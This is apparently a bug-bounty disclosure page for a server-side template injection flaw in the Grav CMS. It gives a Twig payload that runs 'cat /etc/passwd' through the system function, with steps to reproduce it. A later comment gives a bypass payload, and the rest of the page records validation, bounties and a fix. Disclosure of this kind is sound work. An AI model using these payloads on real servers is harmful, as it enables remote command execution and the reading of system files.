We've joined Protect AIJoin us over there for bounties up to $50,000+ for vulnerabilities in AI/ML repos

Server Side Template Injection in getgrav/grav

Valid

Reported on

Apr 7th 2022

Description

Grav is vulnerable to Server Side Template Injection via Twig. According to a previous vulnerability report, Twig should not render dangerous functions by default, such as system.

PoC video.

Proof of Concept

Payload:

{{['cat\x20/etc/passwd']|filter('system')}}
  1. With an authenticated user, access the admin panel.
  2. Edit a page, enabling Twig in the Advanced tab.
  3. Put the payload in the content.
  4. Save and check out the post.

Impact

Remote Command execution

References

We are processing your report and will contact the getgrav/grav team within 24 hours. a year ago
Renan Rocha modified the report
a year ago
We have contacted a member of the getgrav/grav team and are waiting to hear back a year ago
We have sent a follow up to the getgrav/grav team. We will try again in 7 days. a year ago
We have sent a second follow up to the getgrav/grav team. We will try again in 10 days. a year ago
We have sent a third and final follow up to the getgrav/grav team. This report is now considered stale. a year ago
Matias Griese modified the Severity from Critical (9.1) to Critical (9.9) a year ago
Matias Griese modified the Severity from Critical (9.9) to Critical (9.1) a year ago
Matias Griese
a year ago

Maintainer

This issue has been fixed, but we're waiting for a release before going public.

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Matias Griese validated this vulnerability a year ago
Renan Rocha has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the getgrav/grav team. We will try again in 7 days. a year ago
We have sent a second fix follow up to the getgrav/grav team. We will try again in 10 days. a year ago
Matias Griese marked this as fixed in 1.7.34 with commit 9d6a2d a year ago
Matias Griese has been awarded the fix bounty
This vulnerability will not receive a CVE
Twig.php#L164-L210 has been validated
ng`bthg
10 months ago

It is still vulnerable with the payload:

{{['cat$IFS/etc/passwd']|map('system')|join}}
to join this conversation